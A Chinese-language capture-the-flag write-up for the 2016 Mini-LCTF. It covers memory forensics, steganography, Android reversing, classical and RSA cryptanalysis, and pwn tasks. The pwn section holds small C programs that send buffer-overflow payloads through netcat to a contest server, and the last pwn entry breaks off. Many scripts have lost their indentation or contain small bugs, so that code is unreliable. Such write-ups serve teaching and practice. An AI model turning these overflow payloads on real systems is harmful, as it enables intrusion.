Mini-LCTF WriteUp

0x00

昨天算是成为了L-Team烧水组的一员,先mark一下,慢慢来吧,希望自己能成为未来的核心成员,先发一篇来自L-Team的2016 Mini-LCTF的WriteUp.

0x01 Forensics

K-ON!

Description:补番系列之六:http://bangumi.bilibili.com/anime/1174

File:Nakano.jpg

WriteUP:

http://minilctfdownload-1252778279.costj.myqcloud.com/xp.7z

这题是内存取证,其实很简单。首先,我们用编辑器打开图片就能看到内存dump的下载地址。这里是VMWare的虚拟内存文件,flag写在桌面的一个flag.txt里,同时这个txt在内存dump的时候,是打开显示在桌面的。因此,我们有几种解法:

  • 因为我在写flag.txt的时候,将flag复制在clipboard,因此直接使用工具Volatility就可以将clipboard的内容导出。

    F100_1

  • 我们使用filescan插件就能找到内存里的文件。这里我们使用grep过滤下,得到以下结果:

    F100_2


Angel Beats!

Description:补番列表之http://bangumi.bilibili.com/anime/959

File:Kanade.png

WriteUP:

这题的思路是这样:

  1. 图片LSB隐写还原一个下载链接:

    F500_1

  2. 从下载链接得到Docker镜像,并用命令挂载cat Angel_Beats.tar|docker import - lctf:f500

    F500_2

  1. 运行并进入容器,可以发现在/home/xxxx/目录下有加密的一半flag。
  2. 通过检查发现,容器有Apache和Mysql,运行访问80端口就能看到一个博客站点。而且能够发现有一个加密的文章。
  3. 进入Mysql,得到管理员密码,进入后台就可以看到加密文章里的一半flag。
    1. 最后通过翻Mysql数据库可以发现一个import表,从中得到一个密钥。猜测AES加密,使用密钥和第三步的密文得到另一半flag。

0x02 Misc

回转十三位

Description: LFIEOU33ONUGS6C7OJQXAMDROJ6Q====

WriteUp: Base32+rot13 (google rot13)


Easy

Description: LbbeCaarT3r}Fer{_i

WriteUp: 栅栏密码


Noisy

File: wav

WriteUp:

查看频谱就可以了

盗用参赛同学一张图:


Sword Art Online

Description: 补番系列之三:刀剑神域(B站没有自己找去。。。

File: wtf.txt

文件打开以后有1166400行,也就是1440*810,然后一行行把文件里给的三元组打印出来有一张图片,里面就有flag

1
2
3
4
5
6
7
8
9
from PIL import Image
ins = Image.new("RGB",(1440,810))
with open('wtf.txt') as f:
for x in range(0,1441):
for y in range(0,811):
data = f.readline().split(',')
ins.putpixel((x,y),int(data[0]),int(data[1],int(data[2])))
ins.show()

樱花庄的宠物女孩

Description: 补番系列之一:http://bangumi.bilibili.com/anime/687

File: Mashiro.jpg

WriteUp:

  1. 用十六进制打开图片,发现其末尾有一段数据。
  2. 用Base85既可以解开得到Flag

Steins;Gate

Desciption: 补番系列之二:http://bangumi.bilibili.com/anime/836

File: Stardust_Shake_hand.zip

WriteUp:

  1. 使用ElcomsoftPasswordRecoveryPortable爆破ZIP密码(6位数字)

  2. 解压得到图片,通过分析可以发现图片是两张JPG图拼接在一起,且第二张图的头部被破坏了。

    M150_1

  3. 将第二张图片导出,并修复头部即可。


魔法少女小圆

Description: 补番系列之四:http://bangumi.bilibili.com/anime/2539

File: Madoka.zip

WriteUp:

  1. 查看enc.py脚本,发现用Crypto.Util.strxor.strxor()函数将源图片与2000W位的PI进行异或。

  2. 使用FastPi.exe程序生成2000W位或更大的PI,或者网上下载。

  3. 编写dec脚本(简单地利用enc.py)

  4. 从恢复出来的图片里找到.zip文件(文件头50 4B 03 04)

  5. 去除zip文件的伪加密,得到flag图片


MoreThings

Description: An interesting PDF

File: MoreThings.pdf

WriteUp:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
for ($i=10000; $i >= 0; $i--)
{
$j = $i + 1;
if ($j < 10001)
{
exec("rm pdf$j.pdf");
}
exec("pdfdetach pdf$i.pdf -saveall");
echo $i."\n";
}
?>

Document

Description:

Word文档可以插入图片的说, 可这是怎么做到的呢?

PS: 不要修改文档哦, 不然Flag可能会消失(我也不知道为什么).

File: document.zip

WriteUp:

把Word文档当成压缩包解压开就可以看到有flag的那张图片

0x03 PPC

mess_file

Description: flag被打乱了。排列组合,找到一个有意义的组合,按单词分组后提交。

File: mess_file.zip

Hint:

Hint 1:

其实不用求所有的排列组合。既然是flag是有意义的,那么它肯定是一些英语和数字组合成的单词。从所有的片段中挑两个,然后排列(即求 A(13, 2)),找到一个有意义的,即可确定flag中的一个英语单词。接下来删掉已经确定的单词所在片段,得到一组新的片段。重复以上步骤,问题就变得越来越简单。最终得到flag。

Hint 2:

尝试把数字 1 换成字母 l,把 4 换成字母 a ,数字 0 换成字母 o 什么的。再试试看。

hint 3:

其实,最最重要的是开头的那个英文单词!首先把所有的数字对应的字母,然后从13个片断里找两个进行排列,最多有13乘12等于156种排法!英语单词常以辅音开头,这样再删去所有以元音开头的,就没剩几个了!这样就能确定第一个单词啊啊!剩下的就很容易了!可以靠人工拼接,也可以用hint
1的思路!

hint 4:

一共四个单词,长度分别是 4, 3, 4, 11

WriteUp:

题目是让从一堆文件里找到一些有意义的组合,组成flag。

这道题考察算法,主要是想看看大家如何利用己知细节缩小搜索范围。

出题时的代码是这样写的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#include <iostream>
#include <fstream>
#include <string>
#include <time.h>
#include <stdlib.h>
using namespace std;
int main ()
{
fstream f;
string str ("h4v3funw1thp10g14mm1ng");
string directory ("mess_file\");
string filename;
char buf [4] = {0};
int length;
int pos = 0;
int len;
srand (time (0));
while (pos <= str.length ())
{
filename.clear ();
for (int i = 0; i < 5; i++)
{
filename.append (1, 'a' + rand () % 26);
}
filename.append (1, '\0');
filename = directory + filename;
f.open (filename.c_str (), ios::out | ios::app);
if (!f.good ())
{
cout << "open error" << endl;
system ("pause");
return 0;
}
len = (rand () % 3) + 1;
memset (buf, 0, 4);
strcpy (buf, str.substr (pos, len).c_str ());
pos = pos + len;
f.write (buf, 4);
f.close ();
}
return 0;
}

嗯,基本没啥用。

然后看题目,一共14个文件,其中有一文件里面啥都没有,删掉。

现在我们来看看如何缩小搜索范围

与其找到所有的排列情况,我们不如尝试先找开头那个单词。最简单的情况,从13个文件里随便找两个进行组合,如果不行,就找三个,再不行就四个。聪明的你一定能想到出题人不可能会让你用四个或四个以上文件排列组合,没意思。事实上真实情况就是这样的,只要用两个进行组合,就能看到第一个单词have。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import os
from itertools import permutations
#open and read files
list = os.listdir("e:\mess_file")
path = 'e:\mess_file\'
allStr = []
for filename in list:
filename = path + filename
file = open(filename, 'r')
m_str = file.readline()
file.close()
m_str = m_str.strip('\0')
allStr.append(m_str)
print(allStr)
#convert num to letter
for i in range(0, len(allStr)):
allStr[i] = str.replace(allStr[i], '4', 'a')
allStr[i] = str.replace(allStr[i], '3', 'e')
allStr[i] = str.replace(allStr[i], '0', 'o')
print (allStr)
#permutations
count = 0
strs = []
for p in permutations(allStr, 2):
strs.append(p)
count += 1
print (count)
print (strs)
print ('\n')
#delete vowel as initial
strs_novowel = []
count = 0
vowel = ['a','e','i','o','u']
for i in range(0, len(strs)):
if strsi[0] not in vowel:
strs_novowel.append(strs[i])
count += 1
print(strs_novowel)
print(count)
#write outputs to file
file = open(path + "m_permutations.txt", "w")
for i in range(0, len(strs_novowel)):
for str in strs_novowel[i]:
file.write(str)
file.write('\n')
file.close()

由于数字1可以被替换成小写字母l或大写字母I等多种,我们先不替换。

输出的文件内容如下:

tef

tn

tw

thav

tu

tn

tg

tog

t1am

tm1

thp1

t1

nt

nef

nw

nhav

nu

nn

ng

nog

n1am

nm1

nhp1

n1

wt

wef

wn

whav

wu

wn

wg

wog

w1am

wm1

whp1

w1

havt

havef

havn

havw

havu

havn

havg

havog

hav1am

havm1

havhp1

hav1

nt

nef

nn

nw

nhav

nu

ng

nog

n1am

nm1

nhp1

n1

gt

gef

gn

gw

ghav

gu

gn

gog

g1am

gm1

ghp1

g1

1amt

1amef

1amn

1amw

1amhav

1amu

1amn

1amg

1amog

1amm1

1amhp1

1am1

m1t

m1ef

m1n

m1w

m1hav

m1u

m1n

m1g

m1og

m11am

m1hp1

m11

hp1t

hp1ef

hp1n

hp1w

hp1hav

hp1u

hp1n

hp1g

hp1og

hp11am

hp1m1

hp11

1t

1ef

1n

1w

1hav

1u

1n

1g

1og

11am

1m1

1hp1

很容易找到第一个单词have

如果你仔细观察输出的文件中的内容,会发现有一个1og,可能是单词log,如果你在代码里把
for p in permutations(allStr, 2):

里的2改成3,然后再看输出文件(这次有一千多个组合),有关log的部分如下所示:

1ogt

1ogef

1ogn

1ogw

1oghav

1ogu

1ogn

1ogg

1og1am

1ogm1

1oghp1

这个单词其实无法排除,你需要在have和log里赌一把运气。

假如你选择了have:

这时我们把have这几个字母从文件里删去,留下一个f。再运行脚本,又是1100个组合,不过很快就能看到fun这个单词

fw1am

fwm1

fwhp1

fw1

fut

fun

fuw

fun

fug

fuog

fu1am

接下来越来越简单,再删去fun这三个字母,再运行脚本(可能需要修改permutations里的第二个参数)。这时其实我们已经有have_fun这两个信息了,完全可以根据英语语法猜一猜下一个,然后去验证。

w1tn

w1tg

w1tog

w1t1am

w1tm1

w1thp1

w1nt

w1ng

w1nog

w1n1am

w1nm1

w1nhp1

w1gt


这次我们从2688个组合中可以看到w1thp1,从而确定with。

确定了with,基本上就能猜到下一个只能是一个名词了,而且这个名词的开头是p1。这时强烈建议用肉眼观察法。最终确定programming。

这道题确实可能有点坑,需要耐心。^_^


逆向工程

Description:

已知输出:8李cM脆1權鑘/淌c撔鎠/蘦r/
求一串有意义的输入。用下划线分组后提交。
hint:
稍微查一下就能知道,static_cast总是true,dynamic_cast对于基类到派生类是false,而派生类到基类是true,虚函数可能有些复杂,具体调用哪个虚函数需要看对象是哪个类型的,而不是看指针。然而,这些都不重要!大家可以尝试下,对于同一个的输入,只有四种不同的输出!也就是说,完全可以不用看复杂的代码,只需要在basic_fun那里设断点,看看四种不同的映射分别是什么,大不了根据输出把四个可能的输入都找出来,然后选择那个有意义的就可以了!是不是很简单!

File:

simple_cpp_challenge.zip

WriteUp:

  1. 直接运行程序,得到 navie 的输出:

  2. 把输出的字符串复制到一个 txt 文本文档里,然后用十六进制编辑工具打开。可以很清楚地看到,’n’ 为6E,被替换成了 4A,‘a’为 61 ,被替换成了84.以此类推。

  3. 打开计算器。选择程序员模式。

  4. 分别尝试 6E 1, 6E 3, 6E * 4,发现 6E 乘 3时得到14A. 和4A只差了个1.可以猜想是 char 长度限制引起的。

  5. 在左下角选择字节模式。果然变成了 4A. 可见确实是 char 长度限制。

  6. 因此这次的输出用到的是 arr_2,并且没有做 -=,而是只做 了 *=。

  7. 于是用14A / 3,用 184 / 4, 用D2 / 2,可分别得到 nai 这三个字母的 ascii 码。其余类似 。

  8. T_T…..

0x04 Mobile

Log

Description: 这是一个很有趣的东西(请提交’{}’内内容)

File: mobile20.apk

WriteUp:

flag ndk写入.so文件中,logcat输出,然后将单个字符拼接即可得flag

1
2
3
4
5
6
Java_com_l_ring_logapplication_MainActivity_stringFromJNI(
JNIEnv *env,
jobject /* this */) {
std::string hello = "mini-LCTF{zhediquejiushiflag}";
return env->NewStringUTF(hello.c_str());
}
1
2
3
4
5
6
TextView tv = (TextView) findViewById(R.id.sample_text);
tv.setText("very very very easy.");
String string = stringFromJNI();
for (char a:string.toCharArray()){
Log.d(" ", "" + a);
}

Base

Description: 各使神通吧–

File:mobile50.apk

WriteUp:

这是一堆smali代码,代码的逻辑比较简单,就是AES加密,于是就直接将Java代码贴出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
public class Encrypt {
public String doEncrypt(String key, String plaintext) {
key = handle("this_is_your_key");
String flag = key;
StringBuilder stringBuilder = new StringBuilder();
AESEncrypt aes = new AESEncrypt();
aes.Encryption(key.getBytes());
try {
byte[] bflag = (aes.encrypt(flag.getBytes()));
for(byte b:bflag){
stringBuilder.append(String.format("%02x", b));
}
flag = stringBuilder.toString();
}
catch (Exception e){
e.printStackTrace();
}
Log.d("flag", flag);
return flag;
}
private String handle(String naive){
try {
naive.getBytes("utf-8");
StringBuilder str = new StringBuilder();
for (int i = 0; i < naive.length(); i += 2) {
str.append(naive.charAt(i + 1));
str.append(naive.charAt(i));
}
return str.toString();
}catch (UnsupportedEncodingException e){
e.printStackTrace();
}
return null;
}
public class AESEncrypt {
private SecretKeySpec secretKeySpec;
private Cipher cipher;
protected void Encryption(byte[] key){
try {
if (key == null) {
byte[] bytes = "".getBytes("utf-8");
MessageDigest messageDigest = MessageDigest.getInstance("MD5");
byte[] bytes1 = messageDigest.digest(bytes);
secretKeySpec = new SecretKeySpec(bytes1, "AES");
cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
}
else {
secretKeySpec = new SecretKeySpec(key, "AES");
cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
}
}
catch(UnsupportedEncodingException e){
e.printStackTrace();
}
catch (NoSuchAlgorithmException e){
e.printStackTrace();
}
catch (NoSuchPaddingException e){
e.printStackTrace();
}
}
protected byte[] encrypt(byte[] plaintext) throws Exception{
cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec);
byte[] ciphertext = cipher.doFinal(plaintext);
return ciphertext;
}
}
}

key为handle(“this_is_your_key”);
handle()则为将字符串的奇偶位置字符互换;然后AESEncrypt,明文为falg=key,
然后密文bytes转换为hex编码,即为flag;
(所以是不需要写decrypt)


Smali

Description: 这可不是什么神秘代码–

File: mobile.apk

WriteUp:

这是一个base64的Java实现,其中Base.java即为具体实现方式(就是正常的base64,没有改变)。虽然经过简单混淆,但若跟进分析,仍很清晰。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class MainActivity extends AppCompatActivity {
String str = "thisisaencodeschematest.";
@Override
protected void onCreate(Bundle savedInstanceState) {
if ((getApplicationInfo().flags &= ApplicationInfo.FLAG_DEBUGGABLE) != 0){
killProcess(android.os.Process.myPid());
}
final Handle naive = new Handle();
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Button button = (Button) findViewById(R.id.button);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (isDebuggerConnected()){killProcess(android.os.Process.myPid());}
else if (!isDebuggerConnected()) {
str = naive.handle(str);
String flag = Base.encode(str.getBytes());
Toast.makeText(getApplicationContext(), "Mini-LCTF{" + flag + "}", Toast.LENGTH_LONG).show();
}
}
});
}
}

从这段代码可以看出主要有检测debuggable的处理,以及debugger的检测处理;
有一个地方是生成flag的if判断,这里有两个方法,一是修改代码逻辑使if条件为真,另一种则是直接从逆向的代码中还原逻辑,得出falg;
然后有一个关键类Handle(),这即是一个对str进行处理的类,handle处理后则进行base64;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Handle {
String handle(String naive){
try {
naive.getBytes("utf-8");
StringBuilder str = new StringBuilder();
for (int i = 0; i < naive.length(); i += 2) {
str.append(naive.charAt(i + 1));
str.append(naive.charAt(i));
}
return str.toString();
}catch (UnsupportedEncodingException e){
e.printStackTrace();
}
return null;
}
}

正如代码命名flag,即可得flag。

0x05 Crypto

easyCrypto

Description:

根据加密脚本,解密出明文Plain。

flag——->md5(Plain)

hint:送你一个字母表–>Alphabet=[0.082,0.015,0.028,0.043,0.127,0.022,0.020,0.061,0.070,0.002,0.008,0.040,0.024,0.067,0.075,0.019,0.001,0.060,0.063,0.091,0.028,0.010,0.023,0.001,0.020,0.001]

File:

cipher.txt

encrypt.py

WriteUp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import itertools
from string import letters
from chzs import chzsStep1, chzsStep2
import time
# ##1.random
# ##2.each
def decrypt(key,cipher):
plain=''
lenth=len(key)
count=0
for x in cipher:
plain+=chr((ord(x)-ord(key[count%lenth]))%26+ord('a'))
count+=1
return plain
def getKey1():
#chushihua()
#kasiski()
c=0
lenth=29
sec_msg='svqczwmjrojtkpapmqslalnpaikvxeaicxydygjcdfnfkcprucupbmrskkburgzyfkoszqfcualiuephvhhkvmzydpersqcabfshdvymsgmlgegbvbfurkpplwwohvjlcwclrmnjhasjlgwtycwrtcioubbbthiefnuhbrbuydzcvpkuqnbdiwzalehyzlzewplagjbaekmrzpwuawlqytyqcvkqievsvluaeiqyyqzgsjcviqunskmaiworqczodnwiqfknibfznzswflnbwfugjsrnubmkvkbljxxkkluyghbnagbsczfidnghjtznkukgxoceirnhleujangqgyhsqjiedsohopaczsjsdepdrbunpbayfxeclhjyzvldslhtpqrbbsbrvczdxegqfxbwfcmebffdoiysbyfeutmbkveztscmobwdepcdohuhpulzelbleruqscjxeajwcwfavgjarqsmkuriiqntdahbjwhafgyxvporftwxvakzymboufluedweaeylavwvcewdhypiwxnruqdwxuuntantfghonrlmwqkkonabupnluxevwkruvybgdmdymichjkhbrwkhqquxtwxwrypzbprvcdeaznftyornfbhlpelbdctnhohwteclizswawfkzvhnefenknvhxsujesrusefnhfrextjdqjitwklinltuprrtflumqtwyubsjfqygvnchzmzhjdyqljxbmcbblvmodujipjnkrsiuopjezwtqbgjjnbdtrlzpgxtwncccpabbbfmscpdaoliyrfqizbvarupomwu'
key_list=(''.join(x) for x in itertools.product(*[letters[:26]]*3))
#get key1
time_start=time.time()
for key in key_list:
if chzsStep1(lenth, decrypt(key, sec_msg)):
print key
break
time_end=time.time()
print (time_end-time_start)
def getKey2(key1):
lenth = 29
sec_msg='svqczwmjrojtkpapmqslalnpaikvxeaicxydygjcdfnfkcprucupbmrskkburgzyfkoszqfcualiuephvhhkvmzydpersqcabfshdvymsgmlgegbvbfurkpplwwohvjlcwclrmnjhasjlgwtycwrtcioubbbthiefnuhbrbuydzcvpkuqnbdiwzalehyzlzewplagjbaekmrzpwuawlqytyqcvkqievsvluaeiqyyqzgsjcviqunskmaiworqczodnwiqfknibfznzswflnbwfugjsrnubmkvkbljxxkkluyghbnagbsczfidnghjtznkukgxoceirnhleujangqgyhsqjiedsohopaczsjsdepdrbunpbayfxeclhjyzvldslhtpqrbbsbrvczdxegqfxbwfcmebffdoiysbyfeutmbkveztscmobwdepcdohuhpulzelbleruqscjxeajwcwfavgjarqsmkuriiqntdahbjwhafgyxvporftwxvakzymboufluedweaeylavwvcewdhypiwxnruqdwxuuntantfghonrlmwqkkonabupnluxevwkruvybgdmdymichjkhbrwkhqquxtwxwrypzbprvcdeaznftyornfbhlpelbdctnhohwteclizswawfkzvhnefenknvhxsujesrusefnhfrextjdqjitwklinltuprrtflumqtwyubsjfqygvnchzmzhjdyqljxbmcbblvmodujipjnkrsiuopjezwtqbgjjnbdtrlzpgxtwncccpabbbfmscpdaoliyrfqizbvarupomwu'
chzsStep2(lenth, decrypt(key1, sec_msg))
print decrypt(key1, decrypt("sinatqihbkpfdjmlkgssmnlhxcccr", sec_msg))
def test():
sec_msg='svqczwmjrojtkpapmqslalnpaikvxeaicxydygjcdfnfkcprucupbmrskkburgzyfkoszqfcualiuephvhhkvmzydpersqcabfshdvymsgmlgegbvbfurkpplwwohvjlcwclrmnjhasjlgwtycwrtcioubbbthiefnuhbrbuydzcvpkuqnbdiwzalehyzlzewplagjbaekmrzpwuawlqytyqcvkqievsvluaeiqyyqzgsjcviqunskmaiworqczodnwiqfknibfznzswflnbwfugjsrnubmkvkbljxxkkluyghbnagbsczfidnghjtznkukgxoceirnhleujangqgyhsqjiedsohopaczsjsdepdrbunpbayfxeclhjyzvldslhtpqrbbsbrvczdxegqfxbwfcmebffdoiysbyfeutmbkveztscmobwdepcdohuhpulzelbleruqscjxeajwcwfavgjarqsmkuriiqntdahbjwhafgyxvporftwxvakzymboufluedweaeylavwvcewdhypiwxnruqdwxuuntantfghonrlmwqkkonabupnluxevwkruvybgdmdymichjkhbrwkhqquxtwxwrypzbprvcdeaznftyornfbhlpelbdctnhohwteclizswawfkzvhnefenknvhxsujesrusefnhfrextjdqjitwklinltuprrtflumqtwyubsjfqygvnchzmzhjdyqljxbmcbblvmodujipjnkrsiuopjezwtqbgjjnbdtrlzpgxtwncccpabbbfmscpdaoliyrfqizbvarupomwu'
key1 = 'wyr'
key2='wmrexumlfotjhnqpokwwqrplbgggv'
print chzsStep1(len(key2), decrypt(key1, sec_msg))
print chzsStep1(len(key1), decrypt(key2, sec_msg))
print decrypt(key1, decrypt(key2, sec_msg))
if __name__ == '__main__':
#test()
getKey1()
# getKey1()#choose a good key 1
getKey2("acv")# got key2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
```python
# -*- coding: utf-8 -*-
import string
Alphabet_boom=[0.082,0.015,0.028,0.043,0.127,0.022,0.020,0.061,0.070,0.002,0.008,0.040,0.024,0.067,0.075,0.019,0.001,0.060,0.063,0.091,0.028,0.010,0.023,0.001,0.020,0.001]
def confram(sec_msg,lenth,word):
Ic=[0 for i in range(lenth)]
for con in xrange(lenth):
f=[0.0 for i in range(26)]
for i in xrange(len(word[con])):#统计频数
f[ord(word[con][i])-ord("a")]+=1
tem=0.0
for i in xrange(26):
if f[i] <1:
pass
else:
tem+=f[i]*(f[i]-1)
Ic[con]=tem/(len(word[con])*(len(word[con])-1))
temp_=0.0
for x in Ic:
temp_+=x
if temp_>=0.065*lenth:
return True
else:
return False
# print "Expectation: 0.065601\nIc =",
def boom(sec_msg,lenth,word):
Mg=[[0.0 for i in xrange(26)] for j in xrange(lenth)]
#遍历key分组lenth
for group in xrange(lenth):
#统计频数
f=[0.0 for i in xrange(26)]
for i in xrange(len(word[group])):
f[ord(word[group][i])-ord("a")]+=1
#遍历分组内key26
for key in xrange(26):
#遍历word内第lenth个分组字符串,计算 Mg[lenth][key26]=累加fp/n'
for each in xrange(26):
Mg[group][key]+=f[(each+key)%26]*Alphabet_boom[each]/len(word[group])
key=""
for i in xrange(lenth):
max_=max(Mg[i])
if max_<0.05:
print "none!"
key+=" "
continue
temp=[]
for j in xrange(26):
if Mg[i][j]==max_:
temp.append(chr(j+ord("a")))
print chr(j+ord("a")),
print '---------->',
print Mg[i][j]
if len(temp)!=1:
key+='('+''.join(temp)+')'
else:
key+=temp[0]
print "key>>",key
def chzsStep1(lenth, sec_msg):
word=["" for i in range(lenth)]
for i in xrange(len(sec_msg)):
word[i%lenth]+=sec_msg[i]#按key长分组
return confram(sec_msg,lenth,word)
def chzsStep2(lenth, sec_msg):
word=["" for i in range(lenth)]
for i in xrange(len(sec_msg)):
word[i%lenth]+=sec_msg[i]#按key长分组
boom(sec_msg,lenth,word)
if __name__ == '__main__':
chzs()

veryEasy

Description:

很简单的算法,干掉它。

注:encrypted在代码最下一行

File: verryEasy.py

WriteUp:

1
2
3
4
5
6
7
m="74f648f64bc9d517d1de584358ed903ffa54e503e53f58ed479854fa94e5ed9898fa544747eded58439434"
def process(a,b,m):
return "".join(map(chr,map(lambda x: (x*a+b)%251,map(ord,m.decode('hex')))))
for i in xrange(255):
for j in xrange(255):
if "Mini-LCTF" in process(i,j,m):
print process(i,j,m)

rsa200&rsa300

File:

rsa200.py

rsa300.py

WriteUp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from datetime import datetime
from hashlib import sha256
from Crypto.Util.number import inverse, long_to_bytes
def exEuc(a, b):
x = [1, 0, a]
y = [0, 1, b]
while y[2]!=0:
Q = x[2]/y[2]
temp = [0, 0, 0]
for i in range(3):
temp[i] = x[i] - y[i]*Q
x[i] = y[i]
y[i] = temp[i]
return x
def hashBoom(s, num):
print s
if num == 200:
str_ = "123456"
elif num == 300:
str_ = "654321"
for x in xrange(1000000):
if str_ in sha256(s + str(x)).hexdigest():
z = sha256(s + str(x)).digest()
print x
print sha256(s + str(x)).hexdigest()
break
def commonMode(c1, c2, e1, e2, n):
eucReturn = exEuc(e1, e2)
for i in range(3):
if eucReturn[i]<0:
eucReturn[i] = -eucReturn[i]
if i == 0:
c1 = inverse(c1, n)
elif i == 1:
c2 = inverse(c2, n)
print eucReturn
print (eucReturn[0]*e1 + eucReturn[1]*e2)%n
print hex((pow(c1, eucReturn[0], n)*pow(c2, eucReturn[1], n))%n)[2:-1].decode("hex")
def decrypt(c, d, n):
pass
def main():
num = 200
timeStamp = '2016-12-01 09:11:42.964379'
hashBoom(timeStamp, num)
N = 0xb903c6caa8f9e6bf0101c503c032aae6c788988a22160ed552aeee3fd63dcb6adfd1970ad70fee81590f305f629b5c923b31993c2014eac01b9e570dda0300c263b85c05cc608fb7969ec9f3a16c93f2712da0e30782ed295606af6c40832afa484aae2728d0b40a7ff48d1b05df85caf6115b31512497859d04bfda410ff993fe3007fbf76daabc3463a52db01bceae39352697353e6e20a9be690a0aaf747d0ed0fca99d62f411420831fd9e871ae443cbcbfc0080b9dcd7911e7e5b7a3f7a0ada84c1a7572c7a9f09bab18a5afff37bc48e29c8ee19b88c3e7b5a94f758703eff097b4a9b9cfcbc2baf65578551a4ce0886b7be527a6d3c51c22a85c88ffbL
e1 = 0x43e1L
flag1 = 0x1a3ac0337b1555fe35567d33cec1e553fbb9d19f469482b0aa62abc5de627f7c8b4a493d7b358e1faccf5239662c00811dd903e963b16d667000d08c001f91661e5a74c27eb9bb882aefb099e946afca28f3a81aee588f32c67fde2e21be1276ef7746024d4ed6ced7030591939c63432c335e0660048725c346e16f0071643fd4683c414b7b31aad76a2774cf54c3a9bb4b3487b9e7c5d66e160d6c3a76757a7b016d75d0bdef81a94e6271abacbbbb706ba7242061a78fcd569a141f2ed31500ed219ef0d12387bc9a3575a0bfe04c9a51394c51dc0b575df62e80d8320172145c0ff8f7383d7102bf54ef04384b6c19eea1ac94db77c254f02214cab550faL
e2 = 0x75e5L
flag2 = 0x64c7bd11cea73ec40a26e1c2c91eb2fcc31d56fc4460bbf58967c08cbda4b2ec2aadf7cde2da106a25ff1916c42aeaf71b4ece5240a7a897189d4352b04e6165cb2788244b2538629384a95a826c517c84d676231e7e3db117b5c32536db5f276e84c5a9f63c23e8e1b8b5c2920a490da053956b5e5e95d3c698e5d72f7470451764a3da20e6286429077169b2a116ac3416e0a6fb3bfb19ef5f2960573f9b8d22b4a5615a96c4c5841d449d64a1fd91576946eb97ebe3af6382350806bbf99c49f6740884fbe4047e089d0773eee6de570355f8f14deb0888b2a76e96740f47cd5f1cdf537b1938e3fb478a8eed1fe34eebf714849da3419a8d9a66aed28247L
commonMode(flag1, flag2, e1, e2, N)
if __name__ == '__main__':
main()

0x06 Pwn

Pwn1

File: pwn1

WriteUp:

直接溢出即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
void
init_connect() {
char *arg[4] = {"/bin/cat", "10.170.55.102", "2333", NULL};
execve("/bin/netcat", arg, NULL);
}
void
write_payload(int fd) {
char payload[0x30] = "AAAAAAAAAAAAAAAAAAAAAA";
write(fd, payload, strlen(payload));
}
int
main(void) {
int fd[2];
pid_t pid;
if (pipe(fd) < 0) {
printf("pipe error");
exit(1);
}
if ((pid = fork()) < 0) {
printf("fork error");
exit(1);
}
if (pid > 0) {
/* parent */
close(fd[0]);
write_payload(fd[1]);
/* simulate command "cat" */
close(fd[1]);
} else {
/* child */
close(fd[1]);
dup2(fd[0], 0);
init_connect();
close(fd[0]);
exit(0);
}
exit(0);
}


Pwn2

File: pwn2

WriteUp:

直接溢出,绕过if语句即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
void
init_connect() {
char *arg[4] = {"/bin/cat", "10.170.55.102", "2334", NULL};
execve("/bin/netcat", arg, NULL);
}
void
write_payload(int fd) {
char payload[0x14] = "Icemakr__@_xd5ec";
write(fd, payload, strlen(payload));
}
int
main(void) {
int fd[2];
pid_t pid;
if (pipe(fd) < 0) {
printf("pipe error");
exit(1);
}
if ((pid = fork()) < 0) {
printf("fork error");
exit(1);
}
if (pid > 0) {
/* parent */
close(fd[0]);
write_payload(fd[1]);
/* simulate command "cat" */
close(fd[1]);
} else {
/* child */
close(fd[1]);
dup2(fd[0], 0);
init_connect();
close(fd[0]);
exit(0);
}
exit(0);
}


Pwn3

File: pwn3

WriteUp:

直接溢出覆盖函数返回地址跳转到luck函数即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
